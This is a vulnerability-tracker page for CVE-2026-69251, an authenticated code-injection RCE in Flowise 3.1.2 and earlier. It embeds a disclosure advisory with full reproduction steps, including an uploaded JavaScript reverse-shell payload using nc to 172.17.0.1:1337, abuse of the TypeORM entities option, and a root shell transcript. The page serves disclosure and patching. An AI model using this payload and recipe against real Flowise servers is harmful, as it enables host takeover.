What is the CVSS score of CVE-2026-69251?

CVE-2026-69251 has a CVSS 4.0 base score of 9.0 (Critical). CVSS vector: CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H. EPSS exploitation probability: 0.3%.

Is there a public PoC exploit available for CVE-2026-69251?

Yes, a public proof-of-concept exploit is available for CVE-2026-69251. Prioritise patching immediately. EPSS: 0.3%.

How to fix or mitigate CVE-2026-69251?

Within 24 hours: identify and inventory all Flowise instances in your environment and their versions; assess which ones have multiple users with login access; implement strict access restrictions to administrators only pending patch deployment. Within 7 days: obtain and test Flowise version 3.1.3 in a non-production environment to verify compatibility and identify any breaking changes. Within 30 days: deploy patched version 3.1.3 to all production Flowise instances and verify successful upgrade completion.

Flowise CVE-2026-69251

EUVD-2026-52701 CRITICAL

Code Injection (CWE-94)

2026-08-04 https://github.com/FlowiseAI/Flowise

GHSA-g32j-mmxr-gfq5

RCE Docker Code Injection

9.0

CVSS 4.0 · Vendor: https://github.com/FlowiseAI/Flowise

View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

Access

Authenticate to Flowise instance
Delivery

Upload JS reverse-shell via document-store File Loader
Exploit

Set node additionalConfig.entities to payload path
Execution

Trigger Upsert to load DataSource
Persist

TypeORM require()s file, escaping vm2
Impact

Execute arbitrary code as root

Vulnerability Assessment

Weakness	CWE CWE-94 OWASP Top 10:2025 A05:2025 - Injection ASVS 5.0 V1 - Encoding and Sanitization Code injection prevention, sandbox exec MITRE ATT&CK 2 techniques across 2 tactics: Execution, Initial Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. Sign in to read
Exploitation Conditions	Requires an authenticated Flowise account with rights to create/edit flows and upload files to a document store. The attacker must configure one of the affected nodes (MySQL/Postgres/SQLite Record Manager, or MySQL/Agent Memory) and set the additionalConfig input to include a dangerous TypeORM DataSource option (entities, subscribers, or migrations) pointing at a JavaScript file placed on the server - the PoC uploads it via the document-store File Loader. Exploitation is triggered by running an Upsert/connect operation on that node. Limiting factors: valid authentication is mandatory (not remote-unauthenticated), the user needs flow-edit and file-upload permissions, and the payload file must be reachable on the server filesystem; the vm2 sandbox provides no protection because the loaded code executes in the parent Node.js process.
Impact	No CVSS, EPSS, KEV, or SSVC data was supplied, so scoring relies on the description. This is a genuine host-level RCE, but exploitation requires an authenticated session with rights to create/edit flows and document stores, so it is not an unauthenticated internet-wide risk. My independent assessment maps to CVSS:3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (~8.8): trivial once authenticated, with full confidentiality/integrity/availability impact (the PoC obtained uid=0 root on the published Docker image). The public step-by-step advisory with a working reverse-shell payload materially raises practical risk, so this is a high priority for any multi-user or externally reachable Flowise deployment. It is not in CISA KEV and no active-exploitation signal was provided - the elevated concern stems from a public exploit recipe rather than confirmed in-the-wild use.
Exploit ScenarioDerived	An attacker with a valid Flowise account uploads a small JavaScript reverse-shell file via a document-store File Loader, imports a chatflow with a MySQL Record Manager node, and sets its additionalConfig.entities to the uploaded file's path. Starting an Upsert operation causes TypeORM to require() the file, spawning a reverse shell (uid=0 root on the default Docker image). A full public PoC with the exact payload and steps exists in the elttam advisory, and the attack is low-complexity once authenticated.

Act Now Prioritize within 24-48h. Why: CRITICAL severity + public POC available.

1 public PoC Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 04, 2026

Authenticated remote code execution in FlowiseAI Flowise 3.1.2 and earlier lets any logged-in user escape the vm2 sandbox and run arbitrary OS commands on the host. The MySQL/Postgres/SQLite Record Manager and MySQL/Agent Memory nodes expose an unfiltered additionalConfig input passed directly into the TypeORM DataSource constructor, whose entities/subscribers/migrations options can load attacker-supplied JavaScript files. A full public reproduction (including a root reverse-shell payload) was published in the elttam advisory, and the vendor fixed it in 3.1.3.

RemediationAI

Upgrade to Flowise 3.1.3 or later - the vendor-released patch for both flowise and flowise-components (fixed in 3.1.3), per GHSA-g32j-mmxr-gfq5. If you cannot upgrade immediately, restrict the DataSource options accepted by the affected nodes: the advisory recommends disallowing the dangerous TypeORM options extra, entities, subscribers, and migrations in additionalConfig, since these can load arbitrary local JavaScript or supply dangerous driver options. As compensating controls, limit Flowise to trusted operators (tighten workspace/role permissions so untrusted users cannot create or edit Record Manager, Agent Memory, or document-store loader nodes), run the container as a non-root user with a read-only filesystem to blunt the current root-in-Docker exposure, and place the instance behind network controls so it is not reachable by untrusted users; these measures reduce but do not eliminate the flaw, since any user retaining flow-editing rights can still exploit it. Advisory: https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-g32j-mmxr-gfq5.

Affected VersionsENISA

flowise-components < 3.1.3

Flowise < 3.1.3

Affected Packages

npm flowise fix: 3.1.3

npm flowise-components fix: 3.1.3

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Flowise is a low-code, drag-and-drop platform for building LLM applications (chatbots, agents, workflows). Several database-backed nodes create a TypeORM DataSource to persist records and agent memory. TypeORM's DataSource options accept entities, subscribers, and migrations values that are treated as file globs/paths and require()'d as JavaScript at connection time. Because Flowise forwarded the node's additionalConfig object verbatim into the DataSource options (MySQLrecordManager.ts around line 122, plus the Postgres/SQLite Record Managers and the MySQL/Agent Memory nodes), a user could point entities at a local .js file and have it executed. This is a classic CWE-94 code injection: untrusted input flows into a code-loading sink. It is also a sandbox escape, since the loaded code runs in the parent Node.js process, outside the vm2 sandbox that normally confines flow logic.

Know when Docker gets its next vulnerability

Watch products and get an email when something new is published
Check this CVE against your own stack and servers
Exploit and PoC references, threat intelligence from 22 sources

Continue with Google Continue with GitHub

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/FlowiseAI/Flowise) PRIMARY 9.0 CRITICAL

CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

vuln.today AI 8.8 HIGH

Network-reachable UI, low-complexity exploit, but requires an authenticated flow-editing user (PR:L, UI:N); host RCE yields full C/I/A impact.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/FlowiseAI/Flowise).

CVSS VectorVendor: https://github.com/FlowiseAI/Flowise

Attack Vector

Network

Attack Complexity

Low

Attack Requirements

Present

Privileges Required

Low

User Interaction

None

Vulnerable system: Confidentiality

High

Vulnerable system: Integrity

High

Vulnerable system: Availability

High

Subsequent system: Confidentiality

High

Subsequent system: Integrity

High

Subsequent system: Availability

High

Lifecycle Timeline

Patch available

Aug 04, 2026 - 15:01 EUVD

CVE Published

Aug 04, 2026 - 14:28 cve.org

CRITICAL 9.0

DescriptionCVE.org

================= Security Advisory elttam

Topic: Flowise RCE via TypeORM DataSource

Module: FlowiseAI/Flowise Disclosed: 15-Apr-2026 Credits: Alex Brown Affects: FlowiseAI/Flowise 3.1.2

I. Background

Flowise AI is an open-source, low-code platform for building AI applications-such as chatbots, workflows, and autonomous agents-through an intuitive drag-and-drop interface, minimising the need for extensive coding.

Flowise allows users to connect to remote databases within a flow, which is performed using the TypeORM DataSource.

II. Problem Description

The following nodes allowed users to set arbitrary options for the TypeORM DataSource class using the additionalConfig node input:

This is considered a dangerous coding practice, because the options for the TypeORM DataSource class support loading local files as JavaScript code.

The following documents the steps to reproduce this RCE vulnerability by abusing the additionalConfig input on a MySQL Record Manager (packages/components/nodes/recordmanager/MySQLRecordManager/MySQLrecordManager.ts) node:

Log into a Flowise instance and note the organisation ID in the response from POST /api/v1/auth/login, as shown below.

http

HTTP/1.1 200 OK
Set-Cookie: token=<REDACTED>; Path=/; HttpOnly; SameSite=Lax
Set-Cookie: refreshToken=<REDACTED>; Path=/; HttpOnly; SameSite=Lax
Set-Cookie: connect.sid=<REDACTED>; Path=/; HttpOnly; SameSite=Lax
Content-Type: application/json; charset=utf-8
Content-Length: 671
ETag: W/"29f-xnGhZVNYDhOOLUuVSPq0rZLC8mE"
Date: Wed, 15 Apr 2026 10:58:44 GMT
Connection: keep-alive
Keep-Alive: timeout=5

{
    "activeOrganizationCustomerId": null,
    "activeOrganizationId": "c060f6ef-047b-47b0-8f1a-15ffa11961cc", <1>
    "activeOrganizationProductId": "",
    "activeOrganizationSubscriptionId": null,
    "activeWorkspace": "Default Workspace",
    "activeWorkspaceId": "3206d8d3-944f-48c6-9332-11e2752b793e",
    "assignedWorkspaces": [
        {
            "id": "3206d8d3-944f-48c6-9332-11e2752b793e",
            "name": "Default Workspace",
            "organizationId": "c060f6ef-047b-47b0-8f1a-15ffa11961cc", <1>
            "role": "owner"
        }
    ],
    "email": "admin@flowise.local",
    "features": {},
    "id": "b60bc90f-c77d-41ba-bb7b-cbd7f9e6d4ab",
    "isOrganizationAdmin": true,
    "isSSO": false,
    "name": "Admin",
    "permissions": [
        "organization",
        "workspace"
    ],
    "roleId": "b1d1a990-b908-1f7f-889b-5603cb093ff1"
}

<1> The organisation ID that is required for a later step.

Create a new document store and use the File Loader to upload a file containing JavaScript code that would be executed outside the vm2 sandbox. The following script is a reverse shell payload that connects to 172.17.0.1:1337 that had a filename of rce.js.

process.mainModule.require('child_process').execSync('/usr/bin/nc 172.17.0.1 1337 -e /bin/sh')

Using a proxy tool such as Burp Suite or the browser's debug network tab, observe the response from the

POST /api/v1/document-store/loader/process/{loader_id} endpoint and retrieve the storeId, as demonstrated in the response below.

http

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 1000
ETag: W/"3e8-7uqpJlOmso3F99EQLpeEzY2xh/o"
Date: Wed, 15 Apr 2026 10:59:34 GMT
Connection: keep-alive
Keep-Alive: timeout=5

{
    "characters": 94,
    "chunks": [
        {
            "chunkNo": 1,
            "docId": "544ff838-bc55-4b28-97a1-c7442710b014",
            "id": "7f5f4d41-f684-4b16-9b3c-c1623678e7a0",
            "metadata": "{\"source\":\"blob\",\"blobType\":\"\"}",
            "pageContent": "process.mainModule.require('child_process').execSync('/usr/bin/nc 172.17.0.1 1337 -e /bin/sh')",
            "storeId": "afb065cc-8b53-4ff3-82d3-a19e012a2ecb" <1>
        }
    ],
    "count": 1,
    "currentPage": 1,
    "description": "",
    "docId": "544ff838-bc55-4b28-97a1-c7442710b014",
    "file": {
        "files": [
            {
                "id": "5becc8f6-713b-4c6b-8ca8-3275791a730c",
                "mimePrefix": "application/x-javascript",
                "name": "rce.js",
                "size": 94,
                "status": "NEW",
                "uploaded": "2026-04-15T10:59:34.039Z"
            }
        ],
        "id": "544ff838-bc55-4b28-97a1-c7442710b014",
        "loaderConfig": {
            "file": "FILE-STORAGE::[\"rce.js\"]",
            "legacyBuild": "",
            "metadata": "",
            "omitMetadataKeys": "",
            "pointerName": "",
            "textSplitter": "",
            "usage": "perPage"
        },
        "loaderId": "fileLoader",
        "loaderName": "RCE File",
        "status": "SYNC",
        "totalChars": 94,
        "totalChunks": 1
    },
    "storeName": "RCE POC Store",
    "workspaceId": "3206d8d3-944f-48c6-9332-11e2752b793e"
}

<1> The store ID that is required for a later step.

Import the following Chatflow and configure the "MySQL Record Manager", "OpenAI Embedding" and "Weaviate" nodes.

typeorm-datasource-rce.json

Open the "Additional Parameters" window for the "MySQL Record Manager" node replace the placeholder values in the additionalConfig.entities setting. The ${HOME} is the home directory of the user running the Flowise server (e.g., /root on the published Docker image). The screenshot below shows an example path for the reverse shell payload that was uploaded in the previous steps.

Start an Upsert operation and observe the reverse shell payload being executed, as demonstrated in the terminal output below.

$ nc -lnvp 1337
Listening on 0.0.0.0 1337
Connection received on 172.17.0.2 43421
id
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

III. Impact

This sandbox escape vulnerability allows an authenticated user to execute arbitrary code on a server running Flowise, resulting in full compromise of the application.

IV. Solution

Do not allow users full control of the options for the TypeORM DataSource class. The following DataSource options are considered dangerous and should not be allowed:

extra: Could be abused to provide dangerous driver options.
entities: Could be abused to load arbitrary JavaScript files.
subscribers: Could be abused to load arbitrary JavaScript files.
migrations: Could be abused to load arbitrary JavaScript files.

Articles & Coverage 1

News Critical RCE in FlowiseAI Flowise via vm2 Sandbox Escape - CVE-2026-69251 Aug 04, 2026

Latest POC

1 public PoC link from nuclei

Executive ViewAI

Why It Matters

FlowiseAI Flowise 3.1.2 and earlier is vulnerable to remote code execution exploitable by any user with login access; publicly available exploit code exists. The vulnerability allows attackers to bypass sandbox protections and gain full system-level access. Organizations must immediately upgrade to the patched version to prevent compromise.

Business Impact: Severe

Compensating Controls

Apply vendor patch: upgrade Flowise to version 3.1.3 or later. As interim controls pending upgrade, restrict Flowise access exclusively to trusted administrators and enable comprehensive audit logging of all configuration changes and code execution events.

Threat Model

4 threats: Elevation of Privilege, Tampering, Information Disclosure and 1 more

6-step attack chain with trust boundaries and controls

Full threat model - attack chain, trust boundaries, controls per stage and evidence - is part of the Pro and Business plans.

Threat Intelligence Overview

EPSS Score

0.3%

Top 79% exploitable

Prevalence

Medium

popular open-source LLM app builder, common in AI dev but not enterprise-ubiquitous

Threat Intel

1 sources

Data Quality

7 sources

Confidence: High

EUVD 🇯🇵JVN

NVD

CVE.org

EPSS

Vulnrichment GHSA POC (1)

GitHub

VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue

Severity CRITICAL

CISA KEV No

Public POC Yes

EPSS 0.3%

Patch available Yes

Active threat No

Deciding rule

CRITICAL severity + public POC available

What every action level means

Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.

Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.

This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.

This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.

Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision

Out-of-Cycle

Exploitation

Poc

System Exposure· derived

Open

Automatable

Human Impact

Very High

Technical Impact

Total

Priority Score

Low Medium High Critical

KEV: 0

EPSS: 0

CVSS: +45

PoC: +20

Weaponized: 0

Threat intel: 0

Gov advisory: 0

Attack Technique

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

Remote Code Execution CRITICAL

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.